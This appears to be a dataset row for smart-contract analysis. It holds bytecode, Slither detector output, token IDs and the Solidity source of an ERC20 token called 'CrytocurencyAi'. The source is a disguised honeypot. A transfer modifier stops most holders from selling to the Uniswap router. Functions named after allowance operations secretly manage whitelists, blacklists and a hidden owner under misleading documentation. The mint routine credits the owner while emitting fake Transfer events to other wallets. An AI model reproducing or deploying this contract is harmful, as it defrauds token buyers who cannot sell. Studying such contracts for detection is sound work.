ffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561056357600080fd5b505afa158015610577573d6000803e3d6000fd5b505050506040513d602081101561058d57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156105f157600080fd5b505af1158015610605573d6000803e3d6000fd5b505050506040513d602081101561061b57600080fd5b810190808051906020019092919050505050610635610b1a565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561067a573d6000803e3d6000fd5b50565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d602081101561074e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161461085b576000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156107c357600080fd5b505afa1580156107d7573d6000803e3d6000fd5b505050506040513d60608110156107ed57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506000670de0b6b3a76400008202905082818161084f57fe5b04945050505050610938565b6000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156108a457600080fd5b505afa1580156108b8573d6000803e3d6000fd5b505050506040513d60608110156108ce57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506000670de0b6b3a76400008302905081818161093057fe5b049450505050505b90565b60076020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610976611398565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610bb6610b8d61067d565b610ba8670de0b6b3a7640000346113a090919063ffffffff16565b61142690919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c0957600080fd5b505af1158015610c1d573d6000803e3d6000fd5b505050506040513d6020811015610c3357600080fd5b810190808051906020019092919050505050610c4d610b1a565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610c92573d6000803e3d6000fd5b507f8de93222ef6892bc55e94f6023063b06b5780335dcb85f477d38a071cb87252a33610ccf610cc061067d565b3461142690919063ffffffff16565b604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061157e6023913960400191505060405180910390fd5b6002544211610e20576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f7e611398565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611195611398565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806115376026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000808314156113b35760009050611420565b60008284029050828482816113c457fe5b041461141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061155d6021913960400191505060405180910390fd5b809150505b92915050565b600061146883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611470565b905092915050565b6000808311829061151c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114e15780820151818401526020810190506114c6565b50505050905090810190601f16801561150e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161152857fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba26469706673582212200ec040169a83aee7cb736d6f91907f9affe711e330568c4e48dadfa02ab7c80364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2549, 2278, 2487, 2050, 2475, 8586, 2546, 2629, 26337, 6305, 2094, 2692, 2549, 11057, 2581, 2497, 2581, 2278, 2692, 2278, 2620, 3676, 2278, 2581, 3207, 2581, 24434, 2692, 27814, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 8278, 29464, 11890, 11387, 1063, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,538
0x96f4c9e40af2fe5d78f3f41d06208146573ffb8f
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ pragma solidity ^0.6.0; // SPDX-License-Identifier: Unlicensed library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CrytocurencyAi is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); _mint(0xC447FcAF1dEf19A583F97b3620627BF69c05b5fB, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb146104be578063b2bdfa7b14610522578063dd62ed3e14610556578063e1268115146105ce576100ea565b806370a082311461039f57806380b2122e146103f757806395d89b411461043b576100ea565b806318160ddd116100c857806318160ddd1461028e57806323b872dd146102ac578063313ce567146103305780634e6ec24714610351576100ea565b8063043fa39e146100ef57806306fdde03146101a7578063095ea7b31461022a575b600080fd5b6101a56004803603602081101561010557600080fd5b810190808035906020019064010000000081111561012257600080fd5b82018360208201111561013457600080fd5b8035906020019184602083028401116401000000008311171561015657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610686565b005b6101af61083c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ef5780820151818401526020810190506101d4565b50505050905090810190601f16801561021c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102766004803603604081101561024057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108de565b60405180821515815260200191505060405180910390f35b6102966108fc565b6040518082815260200191505060405180910390f35b610318600480360360608110156102c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610906565b60405180821515815260200191505060405180910390f35b6103386109df565b604051808260ff16815260200191505060405180910390f35b61039d6004803603604081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b005b6103e1600480360360208110156103b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c15565b6040518082815260200191505060405180910390f35b6104396004803603602081101561040d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c5d565b005b610443610d64565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610483578082015181840152602081019050610468565b50505050905090810190601f1680156104b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61050a600480360360408110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e06565b60405180821515815260200191505060405180910390f35b61052a610e24565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b86004803603604081101561056c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4a565b6040518082815260200191505060405180910390f35b6106846004803603602